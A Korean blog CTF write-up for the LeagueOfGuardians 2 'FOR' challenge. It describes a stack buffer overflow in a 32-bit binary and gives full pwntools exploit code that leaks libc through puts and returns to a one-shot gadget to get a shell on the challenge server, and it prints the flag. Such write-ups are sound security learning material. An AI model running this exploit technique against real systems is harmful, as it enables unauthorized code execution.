System&Write up/CTF

[LeagueOfGuardians 2] FOR

Jubil 2018. 7. 24. 01:24
반응형

[LeagueOfGuardians 2] FOR

 


바이너리는 32bit이고 NX가 걸려있습니다.

 


 

main은 간단합니다. WriteReview 함수에 취약점이 있을 것 같네요.

 


 

BOF 취약점이 발생합니다.

s0x6C(108) + 4(SFP)만큼 dummy를 넣어주면 return address를 변조할 수 있습니다.

 

puts_plt puts_gotLeak하고, 제공된 libc를 통해서 putsoffset을 구해서 빼주면 libc_base를 알아낼 수 있습니다.

그리고 puts 함수는 인자가 1개이기 때문에 pr(pop ; ret)을 구해야 합니다.

 


 

pr : 0x08048379

 


 

puts_offset : 0x5f140

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

from pwn import *

 

= remote("13.209.121.90"4646)

#s = process('./FOR')

= ELF('./FOR')

 

pr = 0x08048379

puts_plt = e.plt['puts']

puts_got = e.got['puts']

main = 0x804850e

offset_puts = 0x5f140

 

#Leak libc_base

payload = 'A'*112

payload += p32(puts_plt)

payload += p32(pr)

payload += p32(puts_got)

 

#Back to main

payload += p32(main)

 

s.sendlineafter("Review : ", payload)

 

libc_base = u32(s.recv(4)) - offset_puts

log.info("libc_base : " + hex(libc_base))

cs

 

 

Leak 후 다음 공격을 진행하기 위해서 main으로 돌아왔습니다.


 

그럼 이제 얻은 libc_baseoneshot gadgetoffset을 더해서 oneshot gadget의 위치를 알아냅시다.

 


 

oneshot gadget offset : 0x3a80c

 

 

Full Exploit Code:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

from pwn import *

 

= remote("13.209.121.90"4646)

#s = process('./FOR')

= ELF('./FOR')

 

pr = 0x08048379

puts_plt = e.plt['puts']

puts_got = e.got['puts']

main = 0x804850e

offset_puts = 0x5f140

one_shot = 0x3a80c

 

#Leak libc_base

payload = 'A'*112

payload += p32(puts_plt)

payload += p32(pr)

payload += p32(puts_got)

 

#Back to main

payload += p32(main)

 

s.sendlineafter("Review : ", payload)

 

libc_base = u32(s.recv(4)) - offset_puts

log.info("libc_base : " + hex(libc_base))

 

#######################

 

#One_shot gadget

payload2 = 'A'*112

payload2 += p32(libc_base + one_shot)

 

 

s.sendlineafter("Review : ", payload2)

s.interactive()

cs

 

 


 

FLAG : TherEs_N0Th1n_Ho1DiN_Me_BacKKKKKKKK


반응형

'System&Write up > CTF' 카테고리의 다른 글

[LeagueOfGuardians 2] Return to Life  (0) 2018.07.24
[LeagueOfGuardians 2] register_you  (0) 2018.07.24
[Codegate 2016] watermelon  (0) 2018.06.03
[Codegate 2018] catshop  (0) 2018.04.08
[Codegate 2018] DaysNote  (0) 2018.04.08